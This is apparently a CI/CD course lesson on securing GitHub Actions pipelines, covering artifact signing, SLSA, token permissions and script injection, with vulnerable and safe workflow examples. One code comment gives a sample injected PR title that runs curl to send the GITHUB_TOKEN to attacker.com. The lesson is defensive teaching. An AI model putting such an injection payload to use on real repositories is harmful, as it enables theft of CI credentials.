CI/CD Course
Secure CI/CD Pipelines
In this lesson
Pipeline security is the practice of treating the CI/CD system itself as an attack surface — identifying the ways an adversary could compromise the pipeline to steal credentials, tamper with build outputs, inject malicious code into artifacts, or gain access to production environments. A pipeline that builds and deploys software has privileged access to source code, secrets, cloud infrastructure, and production systems. Compromising it is more valuable to an attacker than compromising a single application, because a pipeline breach can propagate silently across every service it touches.
The Pipeline Attack Surface
A CI/CD pipeline has a larger attack surface than most teams realise. It is not just the workflow YAML — it is every component the pipeline depends on and every system it has access to. Understanding the attack surface is the prerequisite for hardening it.
Pipeline Attack Surface — Entry Points and Threats
run: commands are vulnerable to injection attacks. An attacker can craft a PR title containing shell commands that execute on the runner.GITHUB_TOKEN has write access to the repository and can trigger other workflows. A compromised step that exfiltrates this token can push code, create releases, or trigger deployments. Minimal token permissions are non-negotiable.The Postal Service Analogy
A letter that passes through a compromised postal sorting facility can have its contents replaced before it reaches the recipient — and the recipient has no way of knowing unless they verify the seal. A build artifact that passes through a compromised pipeline step has the same property: it looks like the expected output but may contain injected code. The answer in both cases is the same — verify the integrity of what you received, not just the identity of who sent it. In software, this means signing artifacts and verifying signatures at deployment time.
Supply Chain Security — SLSA and Artifact Signing
SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a security framework that defines a set of levels describing how trustworthy a build process is. At SLSA Level 1, builds are scripted. At Level 2, builds are hosted and produce provenance — a signed record of what was built, from what source, by what process. At Level 3, the build environment itself is hardened against tampering. Most organisations begin targeting SLSA Level 2 by enabling GitHub's artifact attestation features.
Artifact signing is the practice of cryptographically signing a build artifact so that downstream consumers — deployment pipelines, container orchestrators — can verify that the artifact was produced by the expected pipeline from the expected source, and has not been tampered with since. Sigstore's cosign tool is the most widely adopted open-source signing solution for container images, integrated natively into GitHub Actions and supported by Kubernetes admission controllers that can enforce signature verification before any image runs in a cluster.
Script Injection — The Most Common Pipeline Vulnerability
Script injection occurs when untrusted, user-controlled data is interpolated directly into a shell command that runs on the CI runner. In GitHub Actions, the most common vector is using ${{ github.event.pull_request.title }} or similar context values directly inside a run: block. An attacker submits a PR with a title containing shell metacharacters or commands, and those commands execute on the runner with access to all secrets available to that job.
Script Injection — Vulnerable vs Safe Pattern
# VULNERABLE — direct interpolation of untrusted input into shell
- name: Print PR title
run: |
echo "PR title: ${{ github.event.pull_request.title }}"
# An attacker submits a PR titled: "; curl attacker.com/steal?token=$GITHUB_TOKEN"
# That command executes on the runner, exfiltrating the token
# SAFE — pass untrusted input as an environment variable
- name: Print PR title
env:
PR_TITLE: ${{ github.event.pull_request.title }} # Interpolated into env, not shell
run: |
echo "PR title: $PR_TITLE"
# The shell reads $PR_TITLE as a value — special characters are not interpreted as commands
# ALSO SAFE — use an action instead of inline shell for untrusted data
- name: Validate PR title
uses: actions/github-script@v7
with:
script: |
const title = context.payload.pull_request.title; // JavaScript string, not shell
console.log(`PR title: ${title}`);
What just happened?
The vulnerable pattern interpolates the PR title directly into the shell command string at workflow evaluation time — before the shell runs — allowing injected shell syntax to execute. The safe pattern assigns the untrusted value to an environment variable first. The shell then reads the variable as a quoted string, interpreting it as data rather than code. This single pattern change eliminates the entire class of injection attacks for that step.
Pipeline Security Hardening — Practical Controls
Securing a pipeline is not a single action — it is a layered set of controls applied across the workflow definition, the runner configuration, the artifact store, and the deployment path. The most impactful controls, in order of effort-to-benefit ratio, are the following.
Pipeline Security Controls — Priority Order
permissions: contents: read at the workflow level. Grant write or additional permissions only to the specific jobs that require them. The default token has more access than most pipelines need.run: blocks. Run actionlint to catch this pattern automatically.cosign or GitHub's artifact attestation to cryptographically sign build outputs. Configure Kubernetes admission controllers or deployment scripts to reject unsigned or unverified artifacts before they can run in production.Warning: Fork Pull Requests Can Trigger Pipelines With Access to Secrets
A public repository that automatically runs CI on all pull requests — including those from forks — without requiring maintainer approval first is a credential exfiltration risk. A malicious contributor submits a PR that modifies the workflow file to print all available environment variables or exfiltrate the GITHUB_TOKEN. GitHub's default setting requires approval for first-time contributors, but this can be inadvertently changed. Verify that your repository requires pull request approval before workflows run on fork PRs, especially for repositories with access to deployment secrets or cloud credentials.
Key Takeaways from This Lesson
GITHUB_TOKEN to contents: read by default means a compromised step cannot write to the repository, trigger deployments, or create releases.
Teacher's Note
Run actionlint on your existing workflows today — its injection detection catches the direct interpolation pattern automatically, and most codebases have at least one instance of it that nobody noticed.
Practice Questions
Answer in your own words — then check against the expected answer.
1. What is the name of the pipeline vulnerability that occurs when untrusted user-controlled data — such as a PR title or branch name — is interpolated directly into a shell command in a run: block, allowing an attacker to execute arbitrary commands on the CI runner?
2. What is the acronym for the supply chain security framework — pronounced "salsa" — that defines levels of trustworthiness for a build process, with Level 2 requiring hosted builds that produce a signed provenance record of what was built, from what source, and by what process?
3. A pipeline step needs to use the value of github.event.pull_request.title in a shell command. What is the safe pattern for doing this — the one that prevents the value from being interpreted as shell code if it contains special characters?
Lesson Quiz
1. A security review flags a self-hosted runner that is shared across all repositories and reused between pipeline jobs without being re-imaged. What specific security risk does this configuration introduce?
2. A security engineer asks which single pipeline configuration change would have the highest impact on limiting the blast radius of a compromised pipeline step. What is the answer?
3. A Kubernetes cluster is configured to pull and run any image from the company's private registry without verification. A supply chain attack compromises the build pipeline and pushes a malicious image with the expected tag. What security control, applied at the deployment stage, would have prevented the malicious image from running?
Up Next · Lesson 26
Access Control & Permissions
Securing the pipeline itself is one layer. Controlling who can trigger it, modify it, and approve its deployments is another. Lesson 26 covers the full access control model for CI/CD systems.